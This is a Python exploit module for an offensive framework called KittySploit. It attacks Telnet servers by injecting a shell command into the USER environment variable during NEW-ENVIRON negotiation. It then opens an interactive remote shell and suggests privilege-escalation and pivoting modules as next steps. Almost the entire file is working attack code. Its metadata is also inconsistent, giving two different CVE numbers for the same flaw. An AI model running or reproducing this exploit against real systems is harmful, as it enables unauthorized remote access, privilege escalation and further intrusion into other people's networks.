Telnet NEW-ENVIRON Command Injection

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from kittysploit import *
from lib.protocols.tcp.tcp_client import Tcp_client, TCPSocket
from lib.exploit.handler import Handler
import re
import time
import socket

# --- Telnet Protocol Constants (RFC 854) ---
IAC  = 255  # Interpret As Command: Signals the start of a control sequence
DONT = 254  # Negotiation: Refuse to perform, or request that the other party stop
DO   = 253  # Negotiation: Request that the other party perform, or confirm you expect it
WONT = 252  # Negotiation: Refusal to perform
WILL = 251  # Negotiation: Agreement to perform
SB   = 250  # Subnegotiation Begin: Start of a complex multi-byte option negotiation
SE   = 240  # Subnegotiation End: End of the subnegotiation block

# --- Telnet Option Codes (RFC 1572) ---
# Specifically for handling environment variable passing.
NEW_ENVIRON = 39 
IS    = 0
VAR   = 0
VALUE = 1


class Module(Exploit, Tcp_client, Handler):

    __info__ = {
        "name": "Telnet NEW-ENVIRON Command Injection",
        "description": "Exploits the Telnet NEW-ENVIRON vulnerability (CVE-1999-0047) "
                      "by injecting commands into the USER environment variable during "
                      "Telnet option negotiation. This spawns an interactive shell session "
                      "that is managed by the framework.",
        "author": "KittySploit Team",
        "cve": ["2026-24061"],
        "arch": [Arch.X86, Arch.X64],
        "platform": Platform.UNIX,
        "references": [
            "https://www.cve.org/CVERecord?id=CVE-2026-24061",
            "https://tools.ietf.org/html/rfc1572",
            "https://tools.ietf.org/html/rfc854"
        ],
    'agent': {
        'risk': 'intrusive',
        'effects': ['active_exploitation'],
        'expected_requests': 2,
        'reversible': False,
        'approval_required': True,
        'produces': ['exploit_paths', 'risk_signals'],
        'cost': 1.5,
        'noise': 0.5,
        'value': 1.0,
        'requires':         {'min_endpoints': 0,
         'min_params': 0,
         'tech_hints_any': [],
         'tech_hints_all': [],
         'specializations_any': [],
         'risk_signals_any': [],
         'auth_session': False,
         'capabilities_any': [],
         'capabilities_all': [],
         'confidence_min': {},
         'confidence_min_any': {},
         'endpoint_pattern_any': [],
         'param_any': [],
         'api_surface_ready': False},
        'chain':         {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''},
                                   {'capability': 'shell', 'from_detail': ''}],
         'consumes_capabilities': [],
         'option_bindings': {},
         'suggested_followups': ['post/shell/multi/gather/privesc_suggester',
                                 'post/shell/multi/manage/pivot_autoroute']},
    },
    }

    # Options
    shell_command = OptString("/bin/sh -i", "Shell command to inject (e.g., /bin/sh -i, /bin/bash -i)", required=False)
    timeout = OptInteger(10, "Connection timeout in seconds", required=False)
    
    def vulnerable(self):
        """Mark target as vulnerable"""
        Vulnerable.SUCCESS()
    
    def not_vulnerable(self):
        """Mark target as not vulnerable"""
        fail.NotVulnerable()
    
    def _exploit(self):
        """
        Override _exploit to allow execution without payload requirement.
        This exploit uses command injection to spawn a shell, not traditional payloads.
        """
        try:
            # Run the actual exploit (skip payload/listener setup)
            result = self.run()
            # Keep backward compatibility: if run() returns None, treat as success.
            if result is None:
                return True
            return bool(result)
        except Exception as e:
            print_error(f"Exploitation failed: {e}")
            return False

    def handle_negotiation(self, sock, cmd, opt):
        """
        Handles standard 3-byte Telnet negotiation sequences.
        
        Args:
            sock: The active socket object.
            cmd: The negotiation command (DO, WILL, etc).
            opt: The specific Telnet option (e.g., NEW_ENVIRON).
        """
        if cmd == DO and opt == NEW_ENVIRON:
            # If server says "DO NEW_ENVIRON", we reply "WILL NEW_ENVIRON"
            response = bytes([IAC, WILL, NEW_ENVIRON])
            sock.sendall(response)
            print_info("Responded to DO NEW_ENVIRON with WILL NEW_ENVIRON")
        elif cmd == DO:
            # Refuse other options to keep the connection simple
            response = bytes([IAC, WONT, opt])
            sock.sendall(response)
        elif cmd == WILL:
            # Acknowledge that the server will perform an option
            response = bytes([IAC, DO, opt])
            sock.sendall(response)

    def handle_subnegotiation(self, sock, sb_data, shell_command):
        """
        Handles Telnet subnegotiation (SB) sequences for environment variables.
        
        This is the core of the exploit: when the server requests environment
        information, we provide a malformed USER variable containing the shell command.
        
        Args:
            sock: The active socket object.
            sb_data: The subnegotiation data received from the server.
            shell_command: The shell command to inject (e.g., "/bin/sh -i").
        """
        if len(sb_data) > 0 and sb_data[0] == NEW_ENVIRON:
            # Sequence: IAC SB NEW_ENVIRON IS VAR "USER" VALUE [command] IAC SE
            env_msg = (
                bytes([IAC, SB, NEW_ENVIRON, IS, VAR]) + 
                b'USER' + 
                bytes([VALUE]) + 
                shell_command.encode('ascii') + 
                bytes([IAC, SE])
            )
            sock.sendall(env_msg)
            print_success(f"Injected shell command in USER environment variable: {shell_command}")

    def process_telnet_stream(self, data, sock, shell_command):
        """
        Separates Telnet control sequences from displayable text.
        Processes negotiations and subnegotiations.
        
        Args:
            data: Raw data received from the server.
            sock: The active socket object.
            shell_command: The shell command being used.
            
        Returns:
            tuple: (clean_output, exploit_triggered) where clean_output is filtered data
                   and exploit_triggered indicates if the exploit was sent.
        """
        clean_output = b''
        exploit_triggered = False
        i = 0
        
        while i < len(data):
            if data[i] == IAC and i + 1 < len(data):
                cmd = data[i + 1]
                
                # 3-byte command (IAC + CMD + OPT)
                if cmd in [DO, DONT, WILL, WONT] and i + 2 < len(data):
                    self.handle_negotiation(sock, cmd, data[i + 2])
                    i += 3
                # Variable-length Subnegotiation block
                elif cmd == SB:
                    se_idx = i + 2
                    while se_idx < len(data) - 1:
                        if data[se_idx] == IAC and data[se_idx + 1] == SE:
                            break
                        se_idx += 1
                    
                    if se_idx < len(data) - 1:
                        self.handle_subnegotiation(sock, data[i + 2:se_idx], shell_command)
                        exploit_triggered = True
                        i = se_idx + 2
                    else:
                        i += 1
                else:
                    i += 2
            else:
                clean_output += bytes([data[i]])
                i += 1

        # Filter out ANSI escape sequences
        ansi_escape = re.compile(rb'\x1b\[[0-?]*[ -/]*[@-~]')
        filtered_data = ansi_escape.sub(b'', clean_output)

        return filtered_data, exploit_triggered

    def run(self):
        """
        Execute the Telnet NEW-ENVIRON exploit and create a shell session.
        """
        try:
            # Get target information (Tcp_client: tcp_host/tcp_port; fallbacks rhost/rport/target)
            target_host = self.tcp_host or getattr(self, "rhost", None) or getattr(self, "target", None)
            target_port = self.tcp_port or getattr(self, "rport", None) or 23
            if not target_host:
                print_error("Target host not set. Please set tcp_host, rhost, or target option.")
                return False
            
            shell_cmd = self.shell_command or "/bin/sh -i"
            
            print_status(f"Connecting to {target_host}:{target_port}...")
            print_info(f"Shell command to inject: {shell_cmd}")
            
            timeout_val = self.timeout if self.timeout is not None else 10
            
            # Establish TCP connection
            try:
                tcp_sock = TCPSocket(target_host, target_port, timeout=timeout_val)
                telnet_socket = tcp_sock.socket
            except Exception as e:
                print_error(f"Connection failed: {e}")
                return False
            
            print_success(f"Connected to {target_host}:{target_port}")
            
            # Wait a moment for initial server response
            time.sleep(0.5)
            
            # Process initial banner/negotiation and wait for NEW_ENVIRON request
            exploit_triggered = False
            shell_ready = False
            
            print_status("Waiting for server to request environment variables (NEW_ENVIRON)...")
            print_info("The exploit will trigger when the server sends a NEW_ENVIRON request")
            
            # Set socket to non-blocking mode for better control
            telnet_socket.settimeout(1.0)
            
            # Wait for server to request environment variables
            # The exploit happens automatically when we receive a NEW_ENVIRON subnegotiation
            try:
                for i in range(30):  # Wait up to 30 seconds
                    try:
                        data = telnet_socket.recv(4096)
                        if data:
                            processed, triggered = self.process_telnet_stream(data, telnet_socket, shell_cmd)
                            if triggered:
                                exploit_triggered = True
                                print_success("Exploit payload sent! Waiting for shell to spawn...")
                            
                            # Check if shell is ready (look for shell prompt indicators)
                            if processed:
                                processed_lower = processed.lower()
                                # Common shell prompt indicators
                                if (b'$' in processed or b'#' in processed or 
                                    b'%' in processed or b'>' in processed or
                                    b'bash' in processed_lower or b'sh' in processed_lower or
                                    b'root' in processed_lower or b'@' in processed):
                                    shell_ready = True
                                    print_success("Shell appears to be ready!")
                                    break
                    except socket.timeout:
                        # Timeout is expected, continue waiting
                        if exploit_triggered and i % 2 == 0:
                            print_info("Waiting for shell to spawn...")
                        continue
                    except Exception as e:
                        # Other errors, continue waiting
                        if i % 5 == 0:  # Print status every 5 seconds
                            print_info(f"Waiting... ({i}/30 seconds)")
                        continue
                
                if not exploit_triggered:
                    print_warning("No NEW_ENVIRON request received from server")
                    print_info("The server may not be vulnerable or may not support NEW_ENVIRON")
                    self.not_vulnerable()
                    telnet_socket.close()
                    return False
                
                if not shell_ready:
                    print_warning("Exploit was triggered but shell may not be fully ready")
                    print_info("Creating session anyway - shell may become interactive after connection")
                
                # Create TCP session with the Telnet connection
                # The framework will automatically create a ClassicShell that uses this socket
                print_status("Creating shell session...")
                
                # Prepare session data
                session_data = {
                    'protocol': 'telnet',
                    'exploit': 'new_environ',
                    'shell_command': shell_cmd,
                    'connection_type': 'telnet'
                }
                
                # Use handler_tcp to create the session
                session_id = self.handler_tcp(
                    connection=telnet_socket,
                    host=target_host,
                    port=target_port,
                    additional_data=session_data
                )
                
                if session_id:
                    # Store socket in session data for ClassicShell to access
                    if self.framework and hasattr(self.framework, 'session_manager'):
                        session = self.framework.session_manager.get_session(session_id)
                        if session:
                            session.data['socket'] = telnet_socket
                            session.data['connection'] = telnet_socket
                    
                    print_success(f"Shell session created: {session_id}")
                    print_info("You can now interact with the shell using the 'sessions' command")
                    print_info(f"To interact: sessions -i {session_id}")
                    self.vulnerable()
                    return True
                else:
                    print_error("Failed to create shell session")
                    telnet_socket.close()
                    return False
                    
            except Exception as e:
                print_error(f"Error during exploitation: {e}")
                import traceback
                traceback.print_exc()
                telnet_socket.close()
                return False
            
        except Exception as e:
            print_error(f"Exploitation failed: {e}")
            import traceback
            traceback.print_exc()
            return False